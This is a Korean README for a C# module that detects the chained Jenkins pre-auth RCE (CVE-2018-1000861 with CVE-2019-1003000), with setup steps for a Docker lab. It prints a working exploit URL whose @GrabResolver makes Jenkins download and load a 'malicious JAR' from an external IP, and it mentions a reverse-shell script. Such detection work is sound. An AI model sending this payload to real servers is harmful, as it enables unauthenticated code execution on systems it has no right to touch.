
C# 모듈로 Jenkins 서버가 CVE-2019-1003000에서 발견된 RCE 취약점에 취약한지 감지합니다 (사전 인증 RCE를 위해 CVE-2018-1000861과 체인됨)
취약점 CVE-2018-1000861과 CVE-2019-1003000을 연쇄하여 Jenkins CI에서 Pre-Auth RCE를 테스트하는 모듈을 만들었습니다. 처음에는 사용자 이름과 비밀번호, 작업 이름으로 취약점을 탐지하려 했지만, 두 취약점을 연쇄하는 것이 더 현실적이고 흥미로울 것이라고 생각했습니다.
Windows, Linux 또는 macOS 머신에 Visual Studio 또는 .NET Core 프레임워크가 설치되어 있어야 합니다.
docker pull jenkins/jenkins:2.121mvDir.sh를 실행합니다.
./mvDir.sh로 실행
chmod +x mvDir.sh를 실행하세요. 그래도 작동하지 않으면 bash mvDir.sh로 실행할 수 있습니다../run_vuln_jenkins.sh를 실행합니다.
http://localhost:8080)../run_updated_jenkins.sh 또는 bash run_updated_jenkins.sh를 실행하면 http://localhost:8000에서 실행되는 안전하고 최신의 Jenkins 서버가 시작되며, 이 모듈을 실행하면 CVE-2018-1000861과 CVE-2019-1003000의 연쇄에 취약하지 않음을 보여줍니다.dotnet build 명령을 호출하세요.모듈 실행: dotnet run -- -u http://localhost:8080 -ip <호스트_IP_주소>
초기 계획은 문제를 해결하는 방법에 대한 좋은 프레임워크였습니다. 그러나 실제로 해결해 나가면서 많은 작업이 필요 이상으로 복잡해졌다는 것을 깨달았습니다. 처음에는 RCE를 증명하기 위해 호스트 머신으로 역방향 셸을 실행하는 bash 스크립트를 만들었습니다. 그러나 이 챌린지의 목표는 취약점이 존재한다는 것을 증명하는 것이었습니다. 이 경우 Jenkins 버전 2.121.2에 Pipeline: Declarative Plugin 1.3.4, Pipeline: Declarative Extension Points API 1.3.4, Pipeline: Groovy Plugin 2.61, Script Security Plugin 1.49가 설치된 환경에서 RCE가 가능함을 증명하는 것이었습니다.
실제로 역방향 셸을 생성하고 임의 명령을 실행할 수 있음을 보여줄 필요는 없었습니다. 이 때문에 Windows 및 .nix 기반 운영 체제 모두에서 더 쉽게 탐지할 수 있습니다. GET 요청을 보낸 후 페이지가 성공 상태를 반환하거나 오류 메시지를 출력한다는 것을 발견했습니다. 그러나 상태 성공이 오탐(false positive)이 아닌지 확인하기 위해 호스트에서 python -m SimpleHTTPSever 80을 사용하여 웹 서버를 설정하고, 지정된 악성 JAR 파일(payload 폴더에 있음)에 사용자 정의 GET 요청을 보내면 GET 요청이 로컬 머신에서 해당 jar 파일의 올바른 경로로 200 상태 코드를 응답하여 취약점이 존재함을 증명합니다. 다음은 GET 요청과 해당 응답의 예시입니다. 서로 다른 파일 경로(tw/ 및 www/)에는 각각 악성 jar가 포함되어 있습니다. 요청이 이를 찾기 위해 이동하는 다른 경로일 뿐입니다.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

http://를 잊지 않는 것이 중요합니다. 그렇지 않으면 프로그램이 HTTP 예외를 발생시키고 다시 실행해야 합니다.매개변수 옵션
| Shortened | Longer | Description |
|---|---|---|
| -uname | --username | Jenkins 사용자 이름 |
| -p | --password | Jenkins 사용자 비밀번호 |
| -u | --url | 대상 URL |
| -ip | --ip address | IP 주소 |
| -v | --verbose | 자세한 출력 |
-p, -uname은 아직 구현되지 않았습니다. 저는 모듈을 pre-auth RCE 탐지용으로만 만들었기 때문입니다. Detectify의 스캐너가 대상 도메인만을 가리키고 (비밀번호나 사용자 이름 같은 사용자 지정 매개변수를 가지지 않을 것이며, 이는 다른 회사가 보안 태세 개선을 돕기 위해 제공하더라도 안전하지 않을 수 있기 때문에) 더 현실적일 것이라고 생각했습니다.